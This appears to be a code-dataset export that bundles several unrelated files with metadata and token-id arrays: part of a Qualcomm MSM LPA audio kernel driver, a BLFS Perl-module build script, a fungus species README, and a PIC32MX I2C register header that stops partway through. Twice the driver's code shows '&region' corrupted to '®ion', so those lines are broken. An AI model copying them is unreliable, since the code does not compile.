if (audio->drv_status & ADRV_STATUS_FSYNC)
rc = -EBUSY;
else
rc = audlpa_aio_buf_add(audio, 1, (void __user *) arg);
break;
case AUDIO_GET_SESSION_ID:
if (copy_to_user((void *) arg, &audio->ac->session,
sizeof(unsigned short)))
return -EFAULT;
rc = 0;
break;
default:
rc = audio->codec_ops.ioctl(file, cmd, arg);
}
fail:
mutex_unlock(&audio->lock);
return rc;
}
/* Only useful in tunnel-mode */
int audlpa_async_fsync(struct audio *audio)
{
int rc = 0;
pr_info("%s:Session %d\n", __func__, audio->ac->session);
/* Blocking client sends more data */
mutex_lock(&audio->lock);
audio->drv_status |= ADRV_STATUS_FSYNC;
mutex_unlock(&audio->lock);
mutex_lock(&audio->write_lock);
audio->teos = 0;
rc = wait_event_interruptible(audio->write_wait,
((list_empty(&audio->out_queue)) ||
audio->wflush || audio->stopped));
if (audio->wflush || audio->stopped)
goto flush_event;
if (rc < 0) {
pr_err("%s: wait event for list_empty failed, rc = %d\n",
__func__, rc);
goto done;
}
rc = q6asm_cmd(audio->ac, CMD_EOS);
if (rc < 0) {
pr_err("%s: q6asm_cmd failed, rc = %d", __func__, rc);
goto done;
}
rc = wait_event_interruptible_timeout(audio->write_wait,
(audio->teos || audio->wflush ||
audio->stopped), 5*HZ);
if (rc < 0) {
pr_err("%s: wait event for teos failed, rc = %d\n", __func__,
rc);
goto done;
}
if (audio->teos == 1) {
rc = audio_enable(audio);
if (rc)
pr_err("%s: audio enable failed\n", __func__);
else {
audio->drv_status &= ~ADRV_STATUS_PAUSE;
audio->out_enabled = 1;
audio->out_needed = 1;
}
}
flush_event:
if (audio->stopped || audio->wflush)
rc = -EBUSY;
done:
mutex_unlock(&audio->write_lock);
mutex_lock(&audio->lock);
audio->drv_status &= ~ADRV_STATUS_FSYNC;
mutex_unlock(&audio->lock);
return rc;
}
int audlpa_fsync(struct file *file, int datasync)
{
struct audio *audio = file->private_data;
return audlpa_async_fsync(audio);
}
static void audlpa_reset_pmem_region(struct audio *audio)
{
struct audlpa_pmem_region *region;
struct list_head *ptr, *next;
list_for_each_safe(ptr, next, &audio->pmem_region_queue) {
region = list_entry(ptr, struct audlpa_pmem_region, list);
list_del(®ion->list);
put_pmem_file(region->file);
kfree(region);
}
return;
}
static void audlpa_unmap_pmem_region(struct audio *audio)
{
struct audlpa_pmem_region *region;
struct list_head *ptr, *next;
int rc = -EINVAL;
pr_debug("%s:\n", __func__);
list_for_each_safe(ptr, next, &audio->pmem_region_queue) {
region = list_entry(ptr, struct audlpa_pmem_region, list);
pr_debug("%s: phy_address = 0x%lx\n", __func__, region->paddr);
if (region != NULL) {
rc = q6asm_memory_unmap(audio->ac,
(uint32_t)region->paddr, IN);
if (rc < 0)
pr_err("%s: memory unmap failed\n", __func__);
}
}
}
static int audio_release(struct inode *inode, struct file *file)
{
struct audio *audio = file->private_data;
pr_info("%s: audio instance 0x%08x freeing, session %d\n", __func__,
(int)audio, audio->ac->session);
mutex_lock(&audio->lock);
audio->wflush = 1;
if (audio->out_enabled)
audlpa_async_flush(audio);
audio->wflush = 0;
audlpa_unmap_pmem_region(audio);
audio_disable(audio);
msm_clear_session_id(audio->ac->session);
auddev_unregister_evt_listner(AUDDEV_CLNT_DEC, audio->ac->session);
q6asm_audio_client_free(audio->ac);
audlpa_reset_pmem_region(audio);
#ifdef CONFIG_HAS_EARLYSUSPEND
unregister_early_suspend(&audio->suspend_ctl.node);
#endif
audio->opened = 0;
audio->out_enabled = 0;
audio->out_prefill = 0;
audio->event_abort = 1;
wake_up(&audio->event_wait);
audlpa_reset_event_queue(audio);
pmem_kfree(audio->phys);
if (audio->stopped == 0)
audlpa_allow_sleep(audio);
wake_lock_destroy(&audio->wakelock);
mutex_unlock(&audio->lock);
#ifdef CONFIG_DEBUG_FS
if (audio->dentry)
debugfs_remove(audio->dentry);
#endif
kfree(audio);
return 0;
}
static void audlpa_post_event(struct audio *audio, int type,
union msm_audio_event_payload payload)
{
struct audlpa_event *e_node = NULL;
spin_lock(&audio->event_queue_lock);
pr_debug("%s:\n", __func__);
if (!list_empty(&audio->free_event_queue)) {
e_node = list_first_entry(&audio->free_event_queue,
struct audlpa_event, list);
list_del(&e_node->list);
} else {
e_node = kmalloc(sizeof(struct audlpa_event), GFP_ATOMIC);
if (!e_node) {
pr_err("%s: No mem to post event %d\n", __func__, type);
return;
}
}
e_node->event_type = type;
e_node->payload = payload;
list_add_tail(&e_node->list, &audio->event_queue);
spin_unlock(&audio->event_queue_lock);
wake_up(&audio->event_wait);
}
#ifdef CONFIG_HAS_EARLYSUSPEND
static void audlpa_suspend(struct early_suspend *h)
{
struct audlpa_suspend_ctl *ctl =
container_of(h, struct audlpa_suspend_ctl, node);
union msm_audio_event_payload payload;
pr_debug("%s:\n", __func__);
audlpa_post_event(ctl->audio, AUDIO_EVENT_SUSPEND, payload);
}
static void audlpa_resume(struct early_suspend *h)
{
struct audlpa_suspend_ctl *ctl =
container_of(h, struct audlpa_suspend_ctl, node);
union msm_audio_event_payload payload;
pr_debug("%s:\n", __func__);
audlpa_post_event(ctl->audio, AUDIO_EVENT_RESUME, payload);
}
#endif
#ifdef CONFIG_DEBUG_FS
static ssize_t audlpa_debug_open(struct inode *inode, struct file *file)
{
file->private_data = inode->i_private;
return 0;
}
static ssize_t audlpa_debug_read(struct file *file, char __user *buf,
size_t count, loff_t *ppos)
{
const int debug_bufmax = 4096;
static char buffer[4096];
int n = 0;
struct audio *audio = file->private_data;
mutex_lock(&audio->lock);
n = scnprintf(buffer, debug_bufmax, "opened %d\n", audio->opened);
n += scnprintf(buffer + n, debug_bufmax - n,
"out_enabled %d\n", audio->out_enabled);
n += scnprintf(buffer + n, debug_bufmax - n,
"stopped %d\n", audio->stopped);
n += scnprintf(buffer + n, debug_bufmax - n,
"volume %x\n", audio->volume);
n += scnprintf(buffer + n, debug_bufmax - n,
"sample rate %d\n",
audio->out_sample_rate);
n += scnprintf(buffer + n, debug_bufmax - n,
"channel mode %d\n",
audio->out_channel_mode);
mutex_unlock(&audio->lock);
/* Following variables are only useful for debugging when
* when playback halts unexpectedly. Thus, no mutual exclusion
* enforced
*/
n += scnprintf(buffer + n, debug_bufmax - n,
"wflush %d\n", audio->wflush);
n += scnprintf(buffer + n, debug_bufmax - n,
"running %d\n", audio->running);
n += scnprintf(buffer + n, debug_bufmax - n,
"out_needed %d\n", audio->out_needed);
buffer[n] = 0;
return simple_read_from_buffer(buf, count, ppos, buffer, n);
}
static const struct file_operations audlpa_debug_fops = {
.read = audlpa_debug_read,
.open = audlpa_debug_open,
};
#endif
static int audio_open(struct inode *inode, struct file *file)
{
struct audio *audio = NULL;
int rc, i, dec_attrb = 0;
struct audlpa_event *e_node = NULL;
#ifdef CONFIG_DEBUG_FS
/* 4 bytes represents decoder number, 1 byte for terminate string */
char name[sizeof "msm_lpa_" + 5];
#endif
char wake_lock_name[24];
/* Allocate audio instance, set to zero */
audio = kzalloc(sizeof(struct audio), GFP_KERNEL);
if (!audio) {
pr_err("%s: no memory to allocate audio instance\n", __func__);
rc = -ENOMEM;
goto done;
}
if ((file->f_mode & FMODE_WRITE) && !(file->f_mode & FMODE_READ)) {
pr_debug("%s: Tunnel Mode playback\n", __func__);
} else {
kfree(audio);
rc = -EACCES;
goto done;
}
/* Allocate the decoder based on inode minor number*/
audio->minor_no = iminor(inode);
dec_attrb |= audlpa_decs[audio->minor_no].dec_attrb;
audio->codec_ops.ioctl = audlpa_decs[audio->minor_no].ioctl;
audio->codec_ops.set_params = audlpa_decs[audio->minor_no].set_params;
audio->buffer_size = BUFSZ;
audio->buffer_count = MAX_BUF;
audio->ac = q6asm_audio_client_alloc((app_cb)q6_audlpa_out_cb,
(void *)audio);
if (!audio->ac) {
pr_err("%s: Could not allocate memory for lpa client\n",
__func__);
rc = -ENOMEM;
goto err;
}
rc = q6asm_open_write(audio->ac, FORMAT_LINEAR_PCM);
if (rc < 0) {
pr_err("%s: lpa out open failed\n", __func__);
goto err;
}
pr_debug("%s: Set mode to AIO session[%d]\n",
__func__,
audio->ac->session);
rc = q6asm_set_io_mode(audio->ac, ASYNC_IO_MODE);
if (rc < 0)
pr_err("%s: Set IO mode failed\n", __func__);
/* Initialize all locks of audio instance */
mutex_init(&audio->lock);
mutex_init(&audio->write_lock);
mutex_init(&audio->get_event_lock);
spin_lock_init(&audio->dsp_lock);
init_waitqueue_head(&audio->write_wait);
INIT_LIST_HEAD(&audio->out_queue);
INIT_LIST_HEAD(&audio->pmem_region_queue);
INIT_LIST_HEAD(&audio->free_event_queue);
INIT_LIST_HEAD(&audio->event_queue);
init_waitqueue_head(&audio->wait);
init_waitqueue_head(&audio->event_wait);
spin_lock_init(&audio->event_queue_lock);
snprintf(wake_lock_name, sizeof wake_lock_name, "audio_lpa_%x",
audio->ac->session);
wake_lock_init(&audio->wakelock, WAKE_LOCK_SUSPEND, wake_lock_name);
audio->out_sample_rate = 44100;
audio->out_channel_mode = 2;
audio->out_bits = 16;
audio->volume = 0x2000;
file->private_data = audio;
audio->opened = 1;
audio->out_enabled = 0;
audio->out_prefill = 0;
audio->bytes_consumed = 0;
audio->device_events = AUDDEV_EVT_STREAM_VOL_CHG;
audio->drv_status &= ~ADRV_STATUS_PAUSE;
rc = auddev_register_evt_listner(audio->device_events,
AUDDEV_CLNT_DEC,
audio->ac->session,
lpa_listner,
(void *)audio);
if (rc) {
pr_err("%s: failed to register listner\n", __func__);
goto err;
}
#ifdef CONFIG_DEBUG_FS
snprintf(name, sizeof name, "msm_lpa_%04x", audio->ac->session);
audio->dentry = debugfs_create_file(name, S_IFREG | S_IRUGO,
NULL, (void *) audio, &audlpa_debug_fops);
if (IS_ERR(audio->dentry))
pr_err("%s: debugfs_create_file failed\n", __func__);
#endif
#ifdef CONFIG_HAS_EARLYSUSPEND
audio->suspend_ctl.node.level = EARLY_SUSPEND_LEVEL_DISABLE_FB;
audio->suspend_ctl.node.resume = audlpa_resume;
audio->suspend_ctl.node.suspend = audlpa_suspend;
audio->suspend_ctl.audio = audio;
register_early_suspend(&audio->suspend_ctl.node);
#endif
for (i = 0; i < AUDLPA_EVENT_NUM; i++) {
e_node = kmalloc(sizeof(struct audlpa_event), GFP_KERNEL);
if (e_node)
list_add_tail(&e_node->list, &audio->free_event_queue);
else {
pr_err("%s: event pkt alloc failed\n", __func__);
break;
}
}
pr_info("%s: audio instance 0x%08x created session[%d]\n", __func__,
(int)audio,
audio->ac->session);
done:
return rc;
err:
q6asm_audio_client_free(audio->ac);
pmem_kfree(audio->phys);
kfree(audio);
return rc;
}
static const struct file_operations audio_lpa_fops = {
.owner = THIS_MODULE,
.open = audio_open,
.release = audio_release,
.unlocked_ioctl = audio_ioctl,
.fsync = audlpa_fsync,
};
static dev_t audlpa_devno;
static struct class *audlpa_class;
struct audlpa_device {
const char *name;
struct device *device;
struct cdev cdev;
};
static struct audlpa_device *audlpa_devices;
static void audlpa_create(struct audlpa_device *adev, const char *name,
struct device *parent, dev_t devt)
{
struct device *dev;
int rc;
dev = device_create(audlpa_class, parent, devt, "%s", name);
if (IS_ERR(dev))
return;
cdev_init(&adev->cdev, &audio_lpa_fops);
adev->cdev.owner = THIS_MODULE;
rc = cdev_add(&adev->cdev, devt, 1);
if (rc < 0) {
device_destroy(audlpa_class, devt);
} else {
adev->device = dev;
adev->name = name;
}
}
static int __init audio_init(void)
{
int rc;
int n = ARRAY_SIZE(audlpa_decs);
audlpa_devices = kzalloc(sizeof(struct audlpa_device) * n, GFP_KERNEL);
if (!audlpa_devices)
return -ENOMEM;
audlpa_class = class_create(THIS_MODULE, "audlpa");
if (IS_ERR(audlpa_class))
goto fail_create_class;
rc = alloc_chrdev_region(&audlpa_devno, 0, n, "msm_audio_lpa");
if (rc < 0)
goto fail_alloc_region;
for (n = 0; n < ARRAY_SIZE(audlpa_decs); n++) {
audlpa_create(audlpa_devices + n,
audlpa_decs[n].name, NULL,
MKDEV(MAJOR(audlpa_devno), n));
}
return 0;
fail_alloc_region:
class_unregister(audlpa_class);
return rc;
fail_create_class:
kfree(audlpa_devices);
return -ENOMEM;
}
static void __exit audio_exit(void)
{
class_unregister(audlpa_class);
kfree(audlpa_devices);
}
module_init(audio_init);
module_exit(audio_exit);
MODULE_DESCRIPTION("MSM LPA driver");
MODULE_LICENSE("GPL v2");
| lovers-fancy/SC-05D_Kernel | arch/arm/mach-msm/qdsp6v2/audio_lpa.c | C | gpl-2.0 | 38,124 | [
30522,
1013,
1008,
2659,
2373,
5746,
6434,
5080,
1008,
1008,
9385,
1006,
1039,
1007,
2263,
8224,
1010,
4297,
1012,
1008,
9385,
1006,
1039,
1007,
2263,
1044,
13535,
3840,
1008,
9385,
1006,
1039,
1007,
2268,
1011,
2249,
1010,
3642,
13158,
7... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#!/bin/bash -e
. ../../../blfs.comm
build_src() {
srcfil=URI-1.65.tar.gz
srcdir=URI-1.65
build_standard_perl_module
}
gen_control() {
cat > $DEBIANDIR/control << EOF
$PKGHDR
Description: Uniform Resource Identifiers (absolute and relative)
This module implements the URI class. Objects of this class represent
"Uniform Resource Identifier references" as specified in RFC 2396 (and
updated by RFC 2732). A Uniform Resource Identifier is a compact string of
characters that identifies an abstract or physical resource. A Uniform
Resource Identifier can be further classified as either a Uniform Resource
Locator (URL) or a Uniform Resource Name (URN). The distinction between URL
and URN does not matter to the URI class interface. A "URI-reference" is a
URI that may have additional information attached in the form of a fragment
identifier.
EOF
}
build
| fangxinmiao/projects | Architeture/OS/Linux/Distributions/LFS/build-scripts/blfs-7.6-systemv/p/perl-modules/URI-1.65/build.sh | Shell | gpl-3.0 | 865 | [
30522,
1001,
999,
1013,
8026,
1013,
24234,
1011,
1041,
1012,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
1038,
10270,
2015,
1012,
4012,
2213,
3857,
1035,
5034,
2278,
1006,
1007,
1063,
5034,
2278,
8873,
2140,
1027,
24471,
2072,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# Junghuhnia subfimbriata (Romell) Ginns, 1984 SPECIES
#### Status
ACCEPTED
#### According to
The Catalogue of Life, 3rd January 2011
#### Published in
Mycotaxon 21: 327 (1984)
#### Original name
Poria eupora var. subfimbriata Romell, 1926
### Remarks
null | mdoering/backbone | life/Fungi/Basidiomycota/Agaricomycetes/Polyporales/Meruliaceae/Junghuhnia/Junghuhnia subfimbriata/README.md | Markdown | apache-2.0 | 261 | [
30522,
1001,
11810,
6979,
7295,
2401,
4942,
8873,
14905,
4360,
2696,
1006,
4199,
30524,
3118,
2427,
1001,
1001,
1001,
1001,
3570,
3970,
1001,
1001,
1001,
1001,
2429,
2000,
1996,
10161,
1997,
2166,
1010,
3822,
2254,
2249,
1001,
1001,
1001,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/************************************************************************************
* arch/mips/src/pic32mx/pic32mx-i2c.h
*
* Copyright (C) 2011-2012 Gregory Nutt. All rights reserved.
* Author: Gregory Nutt <gnutt@nuttx.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name NuttX nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
************************************************************************************/
#ifndef __ARCH_MIPS_SRC_PIC32MX_PIC32MX_I2C_H
#define __ARCH_MIPS_SRC_PIC32MX_PIC32MX_I2C_H
/************************************************************************************
* Included Files
************************************************************************************/
#include <nuttx/config.h>
#include "chip.h"
#include "pic32mx-memorymap.h"
/************************************************************************************
* Pre-processor Definitions
************************************************************************************/
/* Register Offsets *****************************************************************/
#define PIC32MX_I2C_CON_OFFSET 0x0000 /* I2C control register */
#define PIC32MX_I2C_CONCLR_OFFSET 0x0004 /* I2C control clear register */
#define PIC32MX_I2C_CONSET_OFFSET 0x0008 /* I2C control set register */
#define PIC32MX_I2C_CONINV_OFFSET 0x000c /* I2C control invert register */
#define PIC32MX_I2C_STAT_OFFSET 0x0010 /* I2C status register */
#define PIC32MX_I2C_STATCLR_OFFSET 0x0014 /* I2C status clear register */
#define PIC32MX_I2C_STATSET_OFFSET 0x0018 /* I2C status set register */
#define PIC32MX_I2C_STATINV_OFFSET 0x001c /* I2C status invert register */
#define PIC32MX_I2C_ADD_OFFSET 0x0020 /* I2C address register */
#define PIC32MX_I2C_ADDCLR_OFFSET 0x0024 /* I2C address clear register */
#define PIC32MX_I2C_ADDSET_OFFSET 0x0028 /* I2C address set register */
#define PIC32MX_I2C_ADDINV_OFFSET 0x002c /* I2C address invert register */
#define PIC32MX_I2C_MSK_OFFSET 0x0030 /* I2C address mask register */
#define PIC32MX_I2C_MSKCLR_OFFSET 0x0034 /* I2C address mask clear register */
#define PIC32MX_I2C_MSKSET_OFFSET 0x0038 /* I2C address mask set register */
#define PIC32MX_I2C_MSKINV_OFFSET 0x003c /* I2C address mask invert register */
#define PIC32MX_I2C_BRG_OFFSET 0x0040 /* Baud rate generator reload register */
#define PIC32MX_I2C_BRGCLR_OFFSET 0x0044 /* Baud rate generator reload set register */
#define PIC32MX_I2C_BRGSET_OFFSET 0x0048 /* Baud rate generator reload clear register */
#define PIC32MX_I2C_BRGINV_OFFSET 0x004c /* Baud rate generator reload invert register */
#define PIC32MX_I2C_TRN_OFFSET 0x0050 /* I2C transmit register */
#define PIC32MX_I2C_TRNCLR_OFFSET 0x0054 /* I2C transmit clear register */
#define PIC32MX_I2C_TRNSET_OFFSET 0x0058 /* I2C transmit set register */
#define PIC32MX_I2C_TRNINV_OFFSET 0x005c /* I2C transmit invert register */
#define PIC32MX_I2C_RCV_OFFSET 0x0060 /* I2C receive buffer register */
/* Register Addresses ***************************************************************/
#if CHIP_NI2C > 0
# define PIC32MX_I2C1_CON (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_CON_OFFSET)
# define PIC32MX_I2C1_CONCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_CONCLR_OFFSET)
# define PIC32MX_I2C1_CONSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_CONSET_OFFSET)
# define PIC32MX_I2C1_CONINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_CONINV_OFFSET)
# define PIC32MX_I2C1_STAT (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_STAT_OFFSET)
# define PIC32MX_I2C1_STATCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_STATCLR_OFFSET)
# define PIC32MX_I2C1_STATSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_STATSET_OFFSET)
# define PIC32MX_I2C1_STATINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_STATINV_OFFSET)
# define PIC32MX_I2C1_ADD (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_ADD_OFFSET)
# define PIC32MX_I2C1_ADDCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_ADDCLR_OFFSET)
# define PIC32MX_I2C1_ADDSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_ADDSET_OFFSET)
# define PIC32MX_I2C1_ADDINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_ADDINV_OFFSET)
# define PIC32MX_I2C1_MSK (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_MSK_OFFSET)
# define PIC32MX_I2C1_MSKCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_MSKCLR_OFFSET)
# define PIC32MX_I2C1_MSKSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_MSKSET_OFFSET)
# define PIC32MX_I2C1_MSKINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_MSKINV_OFFSET)
# define PIC32MX_I2C1_BRG (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_BRG_OFFSET)
# define PIC32MX_I2C1_BRGSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_BRGSET_OFFSET)
# define PIC32MX_I2C1_BRGCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_BRGCLR_OFFSET)
# define PIC32MX_I2C1_BRGINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_BRGINV_OFFSET)
# define PIC32MX_I2C1_TRN (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_TRN_OFFSET)
# define PIC32MX_I2C1_TRNCLR (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_TRNCLR_OFFSET)
# define PIC32MX_I2C1_TRNSET (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_TRNSET_OFFSET)
# define PIC32MX_I2C1_TRNINV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_TRNINV_OFFSET)
# define PIC32MX_I2C1_RCV (PIC32MX_I2C1_K1BASE+PIC32MX_I2C_RCV_OFFSET)
#endif
#if CHIP_NI2C > 1
# define PIC32MX_I2C2_CON (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_CON_OFFSET)
# define PIC32MX_I2C2_CONCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_CONCLR_OFFSET)
# define PIC32MX_I2C2_CONSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_CONSET_OFFSET)
# define PIC32MX_I2C2_CONINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_CONINV_OFFSET)
# define PIC32MX_I2C2_STAT (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_STAT_OFFSET)
# define PIC32MX_I2C2_STATCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_STATCLR_OFFSET)
# define PIC32MX_I2C2_STATSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_STATSET_OFFSET)
# define PIC32MX_I2C2_STATINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_STATINV_OFFSET)
# define PIC32MX_I2C2_ADD (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_ADD_OFFSET)
# define PIC32MX_I2C2_ADDCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_ADDCLR_OFFSET)
# define PIC32MX_I2C2_ADDSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_ADDSET_OFFSET)
# define PIC32MX_I2C2_ADDINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_ADDINV_OFFSET)
# define PIC32MX_I2C2_MSK (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_MSK_OFFSET)
# define PIC32MX_I2C2_MSKCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_MSKCLR_OFFSET)
# define PIC32MX_I2C2_MSKSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_MSKSET_OFFSET)
# define PIC32MX_I2C2_MSKINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_MSKINV_OFFSET)
# define PIC32MX_I2C2_BRG (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_BRG_OFFSET)
# define PIC32MX_I2C2_BRGSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_BRGSET_OFFSET)
# define PIC32MX_I2C2_BRGCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_BRGCLR_OFFSET)
# define PIC32MX_I2C2_BRGINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_BRGINV_OFFSET)
# define PIC32MX_I2C2_TRN (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_TRN_OFFSET)
# define PIC32MX_I2C2_TRNCLR (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_TRNCLR_OFFSET)
# define PIC32MX_I2C2_TRNSET (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_TRNSET_OFFSET)
# define PIC32MX_I2C2_TRNINV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_TRNINV_OFFSET)
# define PIC32MX_I2C2_RCV (PIC32MX_I2C2_K1BASE+PIC32MX_I2C_RCV_OFFSET)
#endif
#if CHIP_NI2C > 2
# define PIC32MX_I2C3_CON (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_CON_OFFSET)
# define PIC32MX_I2C3_CONCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_CONCLR_OFFSET)
# define PIC32MX_I2C3_CONSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_CONSET_OFFSET)
# define PIC32MX_I2C3_CONINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_CONINV_OFFSET)
# define PIC32MX_I2C3_STAT (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_STAT_OFFSET)
# define PIC32MX_I2C3_STATCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_STATCLR_OFFSET)
# define PIC32MX_I2C3_STATSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_STATSET_OFFSET)
# define PIC32MX_I2C3_STATINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_STATINV_OFFSET)
# define PIC32MX_I2C3_ADD (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_ADD_OFFSET)
# define PIC32MX_I2C3_ADDCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_ADDCLR_OFFSET)
# define PIC32MX_I2C3_ADDSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_ADDSET_OFFSET)
# define PIC32MX_I2C3_ADDINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_ADDINV_OFFSET)
